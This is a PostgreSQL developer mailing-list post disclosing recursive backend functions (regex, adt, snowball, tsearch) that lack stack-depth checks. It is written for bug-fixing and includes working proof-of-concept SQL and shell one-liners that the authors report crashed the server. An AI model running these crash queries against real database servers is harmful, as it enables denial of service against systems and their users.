Re: Stack overflow issue - Mailing list pgsql-hackers

Hello, I recently got a server crash (bug #17583 [1]) caused by a stack overflow. 

 

Tom Lane and Richard Guo, in a discussion of this bug, suggested that there could be more such places. 

Therefore, Alexander Lakhin and I decided to deal with this issue and Alexander developed a methodology. We processed src/backend/*/*.c with "clang -emit-llvm  ... | opt -analyze -print-calgraph" to find all the functions that call themselves directly. I checked each of them for features that protect against stack overflows.

We analyzed 4 catalogs: regex, tsearch, snowball and adt.

Firstly, we decided to test the regex catalog functions and found 6 of them that lack the check_stach_depth() call.

 

zaptreesubs

markst

next

nfatree

numst

repeat

 

We have tried to exploit the recursion in the function zaptreesubs():

select regexp_matches('a' || repeat(' a', 11000), '(.)(' || repeat(' \1', 11000) || ')?');

 

ERROR:  invalid regular expression: regular expression is too complex

 

repeat():

select regexp_match('abc01234xyz',repeat('a{0,2}',100001));

 

ERROR:  invalid regular expression: regular expression is too complex

 

numst():

select regexp_match('abc01234xyz',repeat('(.)\1e',100001));

 

ERROR:  invalid regular expression: regular expression is too complex

 

markst():

markst is called in the code after v->tree = parse(...);

it is necessary that the tree be successfully parsed, but with a nesting level of about 100,000 this will not work - stack protection will work during parsing and v->ntree = numst(...); is also there.

 

next():

we were able to crash the server with the following query:

(printf "SELECT regexp_match('abc', 'a"; for ((i=1;i<1000000;i++)); do printf "(?#)"; done; printf "b')" ) | psql

 

Secondly, we have tried to exploit the recursion in the adt catalog functions and Alexander was able to crash the server with the following query:

 

regex_selectivity_sub(): 

SELECT * FROM pg_proc WHERE proname ~ ('(a' || repeat('|', 200000) || 'b)');

 

And this query:

 

(n=100000;

printf "SELECT polygon '((0,0),(0,1000000))' <@ polygon '((-200000,1000000),";

for ((i=1;i<$n;i++)); do printf "(100000,$(( 300000 + $i))),(-100000,$((800000 + $i))),"; done;

printf "(200000,900000),(200000,0))';"

) | psql

 

Thirdly, the snowball catalog, Alexander has tried to exploit the recursion in the r_stem_suffix_chain_before_ki function and crashed a server using this query:

 

r_stem_suffix_chain_before_ki():

SELECT ts_lexize('turkish_stem', repeat('lerdeki', 1000000));

 

The last one is the tsearch catalog. We have found 4 functions that didn't have check_stach_depth() function: 

 

SplitToVariants

mkANode

mkSPNode

LexizeExec

 

We have tried to exploit the recursion in the SplitToVariants function and Alexander crashed a server using this:

 

SplitToVariants():

CREATE TEXT SEARCH DICTIONARY ispell (Template=ispell, DictFile=ispell_sample,AffFile=ispell_sample);

SELECT ts_lexize('ispell', repeat('bally', 10000));

 

After trying to exploit the recursion in the LexizeExec function Alexander made this conlusion: 

 

LexizeExec has two branches "ld->curDictId == InvalidOid" (usual mode) and "ld->curDictId != InvalidOid" (multiword mode) - we start with the first one, then make recursive call to switch to the multiword mode, but then we return to the usual mode again.

 

mkANode and mkSPNode deal with the dictionary structs, not with user-supplied data, so we believe these functions are not vulnerable.

 

[1] https://www.postgresql.org/message-id/flat/CAMbWs499ytQiH4mLMhRxRWP-iEUz3-DSinpAD-cUCtVo_23Wtg%40mail.gmail.com#03ad703cf4bc8d28ccba69913e1e8106